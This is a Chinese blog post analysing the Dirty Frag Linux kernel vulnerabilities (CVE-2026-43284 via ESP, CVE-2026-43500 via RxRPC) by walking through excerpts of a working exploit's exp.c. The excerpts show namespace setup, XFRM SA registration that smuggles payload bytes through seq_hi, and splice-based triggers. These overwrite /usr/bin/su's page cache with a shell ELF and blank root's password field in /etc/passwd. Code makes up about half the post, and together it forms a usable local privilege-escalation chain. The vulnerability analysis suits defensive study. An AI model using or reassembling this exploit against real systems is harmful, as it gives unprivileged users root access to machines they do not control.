CVE-2026-43284 / CVE-2026-43500 — 基于Dirty Frag 的利用研究

参考仓库:V4bel/dirtyfrag

理解 Dirty Frag 最省力的方法只有一句话:它不是完全不同的新洞,而是同一家族换了一条进门路线。Copy Fail 是把只读文件的内存页送进 AF_ALG 加密接口后被误写;Dirty Frag 是把同样的页送进网络包的 skb->frag,然后在接收侧做原地解密时被误写。两者最后都把 page cache 写脏了,但入口不一样,所以很多只盯着 AF_ALG 的老思路,到了 Dirty Frag 这里就不够用了。

Copy Fail and Dirty Frag flow

如果再说得更白一点,可以把 page cache 想成文件在内存里的那份缓存稿。程序以后读文件、执行文件,很多时候先碰到的是这份缓存稿,不一定立刻去磁盘上重新拿。于是问题就来了:只要有人把这份缓存稿改了,哪怕磁盘上的原文件没动,系统接下来看到的内容也已经不是原来的样子了。

几个必须先讲明白的词,其实都不难:

通俗解释
page cache文件在内存里的缓存副本
splice()尽量不复制内容,而是直接把这几页内存的引用往后传
skbLinux 里的网络包对象
skb->frag挂在网络包外面的那几页真实内存
COW写之前先拷一份,避免直接改共享页
in-place crypto输入和输出用的是同一块内存,边处理边改

看懂这几个词以后,Dirty Frag 的核心就很好懂了:只读文件页被 splice() 带进网络包,挂到了 skb->frag 上;后面的协议代码本来应该先做一次 COW,把共享页拷成自己的副本,再去原地解密;但漏洞路径里这一步漏掉了,于是协议栈直接在原来的文件页上写字,最后把 page cache 写脏了。

这正是它和 Copy Fail 最关键的差别。Copy Fail 主要盯的是 AF_ALG 这条用户态加密接口,Dirty Frag 盯的是网络协议栈。Copy Fail 更像把纸交给加密接口,接口整理材料时顺手在纸边上写了一笔;Dirty Frag 更像把纸夹进网络包,拆包的人把这张纸当成自己的草稿直接改了。同样是纸被写脏,办公桌已经换了。

Dirty Frag 不是只有一条路线。它包含 ESP 和 RxRPC 两个问题:ESP 路线对应 CVE-2026-43284,RxRPC 路线对应 CVE-2026-43500。它们共享同一个大思路:先把只读文件页塞进 skb->frag,再让接收侧协议代码在这页上做原地处理;不同的是,ESP 那条路写得更直接,RxRPC 那条路写入结果要先经过一次解密运算,所以更像按规则拼字。

Dirty Frag ESP and RxRPC routes

下面剖析的代码片段都摘自参考仓库中的 exp.c,只做了节选,函数名和关键逻辑保持原样。整份 exp.c 的入口是 main()。这个入口函数本身不直接做 page cache 写入,它更像一个调度器:先看命令行参数,再决定调用 ESP 路线还是 RxRPC 路线。

main() 开头先把两个开关置为 0,然后扫描 argv。如果出现 –force-esp,就把 force_esp 置为 1;如果出现 –force-rxrpc,就把 force_rxrpc 置为 1。这里的 force 不是漏洞触发点,只是选择路线的开关。


int force_esp = 0, force_rxrpc = 0;

for (int i = 1; i < argc; i++) {
    if (!strcmp(argv[i], "--force-esp"))
        force_esp = 1;
    else if (!strcmp(argv[i], "--force-rxrpc"))
        force_rxrpc = 1;
}

后面真正分流时,第一种情况是强制走 RxRPC。代码直接调用 rxrpc_lpe_main(),随后最多再重复 3 次。重复的判断条件是 passwd_already_patched(),意思是检查 /etc/passwd 的缓存页是否已经变成目标状态;只要还没成功,就继续尝试 RxRPC 路线。


if (force_rxrpc) {
    rc = rxrpc_lpe_main(new_argc, co_argv);
    for (int i = 0; !passwd_already_patched() && i < 3; i++)
        rc = rxrpc_lpe_main(new_argc, co_argv);
}

第二种情况是强制走 ESP。这里没有再尝试 RxRPC,而是只调用 su_lpe_main()。su_lpe_main() 背后对应的就是改 /usr/bin/su 缓存页的那条链。


else if (force_esp) {
    rc = su_lpe_main(new_argc, co_argv);
}

第三种情况是默认路线,也就是不传 force 参数时的普通流程。代码先调用 su_lpe_main() 尝试 ESP,如果 su_already_patched() 判断 /usr/bin/su 没有被成功污染,再切到 rxrpc_lpe_main()。RxRPC 这边同样会根据 passwd_already_patched() 最多补试 3 次。


else {
    rc = su_lpe_main(new_argc, co_argv);
    if (!su_already_patched()) {
        rc = rxrpc_lpe_main(new_argc, co_argv);
        for (int i = 0; !passwd_already_patched() && i < 3; i++)
            rc = rxrpc_lpe_main(new_argc, co_argv);
    }
}

把这三段合起来看,exp.c 的调用方法就很清楚了:–force-esp 只走 ESP,–force-rxrpc 只走 RxRPC,不带 force 参数时先走 ESP,失败后再走 RxRPC。仓库把两个 CVE 放进同一个 exp.c,也是因为这两条路线可以互相补位。后面的代码剖析就按这个调用顺序展开:先看 su_lpe_main() 背后的 ESP 链,再看 rxrpc_lpe_main() 背后的 RxRPC 链。

ESP 这条路线在 exp.c 里主要由四个函数串起来:setup_userns_netns() 负责准备一个能配置本机 ESP 规则的小网络环境;add_xfrm_sa() 负责把一次要写入的 4 字节放进 ESP 规则;do_one_write() 负责把目标文件页送进 socket;corrupt_su() 负责循环调用前面的函数,把 192 字节拆成 48 次写入。

先看几个常量,代码一开始就把目标写得很直白:


#define TARGET_PATH      "/usr/bin/su"
#define PATCH_OFFSET     0
#define PAYLOAD_LEN      192
#define ENTRY_OFFSET     0x78

TARGET_PATH 说明 ESP 路线的目标是 /usr/bin/su。PATCH_OFFSET 为 0,表示从文件开头开始改。PAYLOAD_LEN 是 192,也就是准备写进去的内容总长度。后面每次只能稳定处理 4 字节,所以 192 字节会被拆成 48 次。

setup_userns_netns() 的作用是先搭一个隔离出来的小环境。普通用户通常没有直接配置 XFRM / ESP 的权限,所以代码先创建新的 user namespace 和 network namespace,再把当前用户映射成这个小环境里的 0 号用户,最后把 loopback 网卡拉起来:


if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
    exit(1);
}
write_proc("/proc/self/setgroups", "deny");
snprintf(map, sizeof(map), "0 %u 1", real_uid);
write_proc("/proc/self/uid_map", map);
snprintf(map, sizeof(map), "0 %u 1", real_gid);
write_proc("/proc/self/gid_map", map);

strncpy(ifr.ifr_name, "lo", IFNAMSIZ);
ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
ioctl(s, SIOCSIFFLAGS, &ifr);

这段代码不是最终的写入点,但它是 ESP 路线能跑起来的前置条件。数据包仍然只在本机 127.0.0.1 上流动,关键是程序在这个小网络环境里获得了注册 ESP 规则的能力。

真正把 4 字节写入值挂进 ESP 规则的是 add_xfrm_sa(spi, patch_seqhi)。这里的 spi 可以理解为本次 ESP 规则的编号,patch_seqhi 则是稍后希望落到文件缓存页上的 4 字节:


xs->id.daddr.a4 = inet_addr("127.0.0.1");
xs->id.spi      = htonl(spi);
xs->id.proto    = IPPROTO_ESP;
xs->saddr.a4    = inet_addr("127.0.0.1");
xs->family      = AF_INET;
xs->mode        = XFRM_MODE_TRANSPORT;
xs->flags       = XFRM_STATE_ESN;

这几行是在注册一条 ESP SA,也就是一条安全关联规则。daddr 和 saddr 都是 127.0.0.1,说明这条规则只服务于本机回环流量。XFRM_STATE_ESN 很关键,因为后面漏洞利用到的写入值就藏在 ESN 的高 32 位里。


struct xfrm_replay_state_esn *esn =
    (struct xfrm_replay_state_esn *)esn_buf;
esn->bmp_len       = 1;
esn->seq           = REPLAY_SEQ;
esn->seq_hi        = patch_seqhi;
esn->replay_window = 32;
put_attr(nlh, XFRMA_REPLAY_ESN_VAL, esn_buf, sizeof(esn_buf));

这段更关键。seq_hi 被设置成 patch_seqhi,后面内核处理 ESP + ESN 的时候,会把这 4 字节搬到输出散列表的某个位置。正常情况下这只是协议内部整理数据;但 Dirty Frag 把只读文件页塞进了这个输出位置,于是这 4 字节就写到了 page cache 上。

接下来是 do_one_write()。这个函数把伪造 ESP 包头和目标文件页拼到一起,再通过 socket 送进网络栈:


int file_fd = open(path, O_RDONLY);
pipe(pfd);

uint8_t hdr[24];
*(uint32_t*)(hdr + 0) = htonl(spi);
*(uint32_t*)(hdr + 4) = htonl(SEQ_VAL);
memset(hdr + 8, 0xCC, 16);

文件是 O_RDONLY 只读打开的,这一点非常重要。正常直觉里,只读打开不该造成写入效果。hdr 是伪造出来的 ESP 头部,前 4 字节放 spi,后面放序号和 IV。spi 会让内核找到前面 add_xfrm_sa() 注册的那条规则,也就能间接找到 seq_hi 里的 4 字节写入值。


vmsplice(pfd[1], &iov_h, 1, 0);
splice(file_fd, &off, pfd[1], NULL, 16, SPLICE_F_MOVE);
splice(pfd[0], NULL, sk_send, NULL, 24 + 16, SPLICE_F_MOVE);

这三行是 ESP 路线最核心的用户态动作。第一行把伪造包头塞进 pipe;第二行把 /usr/bin/su 对应偏移处的 16 字节接到 pipe 后面;第三行再把 pipe 里的内容送进 UDP socket。因为 splice() 尽量传页引用,所以目标文件页会以 skb->frag 的形式进入网络包,而不是变成一份完全独立的新拷贝。

corrupt_su() 把单次 4 字节写入扩展成完整的 192 字节覆盖。第一轮循环先注册 48 条 ESP SA,每条 SA 的 seq_hi 都不同:


for (int i = 0; i < PAYLOAD_LEN / 4; i++) {
    uint32_t spi = 0xDEADBE10 + i;
    uint32_t seqhi =
        ((uint32_t)shell_elf[i*4 + 0] << 24) |
        ((uint32_t)shell_elf[i*4 + 1] << 16) |
        ((uint32_t)shell_elf[i*4 + 2] <<  8) |
        ((uint32_t)shell_elf[i*4 + 3]);
    add_xfrm_sa(spi, seqhi);
}

这里的 shell_elf 是准备写到 /usr/bin/su 缓存页开头的 192 字节内容。代码每 4 字节取一组,拼成 seqhi,再用不同的 spi 注册到不同 SA 上。这样,后面只要发带着对应 spi 的包,内核就会把这一组 4 字节搬到对应位置。

第二轮循环才真正触发写入,每次换一个 offset,连续覆盖 /usr/bin/su 的 page cache 开头:


for (int i = 0; i < PAYLOAD_LEN / 4; i++) {
    uint32_t spi = 0xDEADBE10 + i;
    off_t off = PATCH_OFFSET + i * 4;
    do_one_write(TARGET_PATH, off, spi);
}

这两轮循环合在一起,就是 ESP 路线的执行逻辑:先把每 4 字节写入值挂到一条规则上,再按文件偏移逐段把 /usr/bin/su 的缓存页送进网络栈。漏洞点让接收侧跳过了该有的复制步骤,于是这些 4 字节就陆续落在同一份 page cache 上。

那么为什么会被当成可写工作区?问题出在 esp_input() 的判断分支:后面即将做原地解密,本来应该先调用 skb_cow_data() 复制共享页,但下面这个分支在某些情况下直接跳到了 skip_cow:


if (!skb_cloned(skb)) {
    if (!skb_is_nonlinear(skb)) {
        goto skip_cow;
    } else if (!skb_has_frag_list(skb)) {
        goto skip_cow;
    }
}
err = skb_cow_data(skb, 0, &trailer);
skip_cow:
    aead_request_set_crypt(req, sg, sg, ...);

这段代码的白话翻译就是:后面明明要做原地解密,按理说该先拷一份,但这个分支直接说先不拷,继续干。如果这时 sg 里挂着的正好是从只读文件那里带来的页,后面的继续干就等于直接在文件缓存页上写了。

为了让读者不把两条路线混掉,还可以直接对照看一眼:

对比点Copy FailDirty Frag
入口AF_ALG网络协议栈 / socket
文件页最后挂在哪AEAD 请求里的散列表skb->frag
出错时机AEAD 处理尾部时误写接收侧原地解密时误写
经典缓解思路限制 algif_aead 有帮助不够,因为它根本不走 AF_ALG
路线数量主要盯一条ESP 和 RxRPC 两条互补

如果说 ESP 这条路像直接下笔写 4 个字节,那 RxRPC 更像先挑一把钥匙,再看解出来的 8 个字节是否符合目标格式。这也是为什么 exp.c 里的 build_rxrpc_v1_token() 和 find_K_offline_generic() 值得单独看:


static int build_rxrpc_v1_token(uint8_t *out, size_t maxlen)
{
    ...
    *(uint32_t *)p = htonl(1); p += 4;
    uint8_t *toklen_p = p; p += 4;
    uint8_t *tokstart = p;
    *(uint32_t *)p = htonl(2); p += 4;
    *(uint32_t *)p = htonl(0); p += 4;
    *(uint32_t *)p = htonl(1); p += 4;
    memcpy(p, SESSION_KEY, 8); p += 8;
    ...
}

这段代码在构造 RxRPC v1 token。sec_ix 为 2,表示使用 RXKAD;SESSION_KEY 被写进 token,后面内核校验 RxRPC 数据包时会拿它做 fcrypt 解密。也就是说,RxRPC 路线的写入内容不是直接塞进包里的,而是由目标位置原来的 8 字节和 SESSION_KEY 一起算出来。


for (uint64_t iter = 0; iter < max_iters; iter++) {
    uint64_t r = fc_splitmix64(&seed);
    memcpy(K, &r, 8);
    fcrypt_user_setkey(&ctx, K);
    fcrypt_user_decrypt(&ctx, P, C);

    if (check(P)) {
        memcpy(K_out, K, 8);
        memcpy(P_out, P, 8);
        return 0;
    }
}

find_K_offline_generic() 做的事情就是在用户态试 key。C 是目标文件当前位置原来的 8 字节,K 是候选 SESSION_KEY,P 是 fcrypt 解密后的结果。check(P) 判断结果是否满足目标格式。满足后,代码把 K 和 P 保存下来,后面再把这把 K 放进 SESSION_KEY,触发一次内核路径。

RxRPC 路线的目标是 /etc/passwd 的第一行,也就是 root 那一行。代码先只读打开文件,再 mmap 第一页,让这一页留在 page cache 里:


const char *target_path = getenv("POC_TARGET_FILE");
if (!target_path || !*target_path) target_path = "/etc/passwd";

int rfd_ro = open(target_path, O_RDONLY);
void *map = mmap(NULL, 4096, PROT_READ, MAP_SHARED, rfd_ro, 0);

后面不是一次性修改整行,而是读出偏移 4、6、8 这三个位置的 8 字节,分别算三把 key:


uint8_t Ca[8], Cb[8], Cc[8];
int off_a = 4, off_b = 6, off_c = 8;
pread(rfd_ro, Ca, 8, off_a);
pread(rfd_ro, Cb, 8, off_b);
pread(rfd_ro, Cc, 8, off_c);

这三个偏移会互相覆盖。第一次写 4..11,第二次写 6..13,第三次写 8..15。最后留下来的结果不是三次简单相加,而是后写覆盖前写。代码里也按这个顺序更新中间状态:


find_K_offline_generic(Ca, max_iters, fc_check_pa_nullok,
        Ka, Pa_out, seed_base, "K_A");

memcpy(Cb_actual, Pa_out + 2, 6);
memcpy(Cb_actual + 6, Cb + 6, 2);
find_K_offline_generic(Cb_actual, max_iters, fc_check_pb_nullok,
        Kb, Pb_out, seed_base ^ 0xa5a5a5a5a5a5a5a5ULL, "K_B");

memcpy(Cc_actual, Pb_out + 2, 6);
memcpy(Cc_actual + 6, Cc + 6, 2);
find_K_offline_generic(Cc_actual, max_iters, fc_check_pc_nullok,
        Kc, Pc_out, seed_base ^ 0x5a5a5a5a5a5a5a5aULL, "K_C");

这段代码说明 RxRPC 路线并不是盲目重复触发三次。第二次要考虑第一次已经写过的结果,第三次要考虑第二次已经写过的结果。最终目标是把 root 行前半段拼成空密码字段可以接受的形状。

do_one_trigger() 继续重复了那个最重要的动作:把只读文件页接到 pipe 后面,再发进 socket。


pipe(p);
vmsplice(p[1], &viv, 1, 0);
splice(target_fd, &off, p[1], NULL, splice_len, SPLICE_F_NONBLOCK);
splice(p[0], NULL, udp_srv, NULL, sizeof(mal) + splice_len, 0);
recvmsg(rxsk_cli, &m, 0);

这几行和 ESP 的 do_one_write() 很像:先把伪造的 RxRPC DATA 头放进 pipe,再把 /etc/passwd 的某 8 字节接到 pipe 后面,最后发给 UDP socket。recvmsg() 会把这个包推进 RxRPC 的接收和校验流程,rxkad_verify_packet_1() 随后对这 8 字节做原地解密。由于这 8 字节来自 page cache,解密结果就落回了 /etc/passwd 的缓存页。

真正触发时,代码按 A、B、C 三个阶段依次替换 SESSION_KEY,再分别触发偏移 4、6、8:


memcpy(SESSION_KEY, Ka, 8);
do_one_trigger(rfd_ro, off_a, 8);

memcpy(SESSION_KEY, Kb, 8);
do_one_trigger(rfd_ro, off_b, 8);

memcpy(SESSION_KEY, Kc, 8);
do_one_trigger(rfd_ro, off_c, 8);

这就是 RxRPC 路线的完整闭环:先根据当前文件内容算出能得到目标格式的 key,再把文件页送进接收侧校验路径,让内核把计算结果写回那一页。ESP 是直接把 4 字节值挂进 seq_hi,RxRPC 是先算 key 再借解密结果写 8 字节,两条路的表面动作不同,但核心都是让只读文件页进入了原地写路径。

Dirty Frag common flow

最后再把整条链收束一下。Dirty Frag 不是单纯某个函数写错了几个字节,而是几个正常机制叠在一起后,边界判断出了问题。splice() 为了减少复制,把只读文件页引用传给网络栈;网络协议代码为了性能做原地处理;中间本该出现一次 COW,把共享页复制成私有页,但漏洞路径没有完成这一步。结果就是,接收侧代码以为自己在改普通网络缓冲区,实际改到的是文件的 page cache。

它和 Copy Fail 的差别也可以落回这条主线。Copy Fail 主要是只读文件页进入 AF_ALG 加密接口,在 AEAD 处理里被写脏;Dirty Frag 则是只读文件页进入 skb->frag,在网络协议栈的接收侧被写脏。前者的问题入口是用户态加密接口,后者的问题入口是网络包分片页。两者属于同一类 page cache 污染问题,但 Dirty Frag 走的是另一条更靠近协议栈的路径,因此不能只用 Copy Fail 那套 AF_ALG 视角去理解。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇